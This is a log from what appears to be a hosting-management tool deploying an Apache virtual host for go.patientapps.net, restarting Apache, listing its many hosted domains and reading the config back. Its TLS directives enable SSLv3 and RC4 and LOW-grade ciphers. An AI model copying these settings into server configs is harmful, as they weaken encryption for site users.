</VirtualHost>
<VirtualHost *:443>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/go_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm
</VirtualHost>
2025-12-15 06:01:20:
PUT: /tmp/pkp796949
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_go_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_go_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_access.log combined
ErrorLog /var/log/apache2/patientapps/go_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/go_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_go_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_go_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_go_net.conf= 1'
fi
2025-12-15 06:01:20:
chmod 755 /tmp/pkp796949; /tmp/pkp796949; rm /tmp/pkp796949
2025-12-15 06:01:20:
2025-12-15 06:01:20:
PUT: /tmp/pkp493183
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-15 06:01:20:
chmod 755 /tmp/pkp493183; /tmp/pkp493183; rm /tmp/pkp493183
2025-12-15 06:01:20:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:01:20: Establishing a connection
2025-12-15 06:01:20:
PUT: /tmp/pkp782118
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-15 06:01:21:
chmod 755 /tmp/pkp782118; /tmp/pkp782118; rm /tmp/pkp782118
2025-12-15 06:01:21:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-15 06:01:21:
PUT: /tmp/pkp516118
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_go_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-15 06:01:21:
chmod 755 /tmp/pkp516118; /tmp/pkp516118; rm /tmp/pkp516118
2025-12-15 06:01:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 1491
<VirtualHost *:80>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_access.log combined
ErrorLog /var/log/apache2/patientapps/go_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
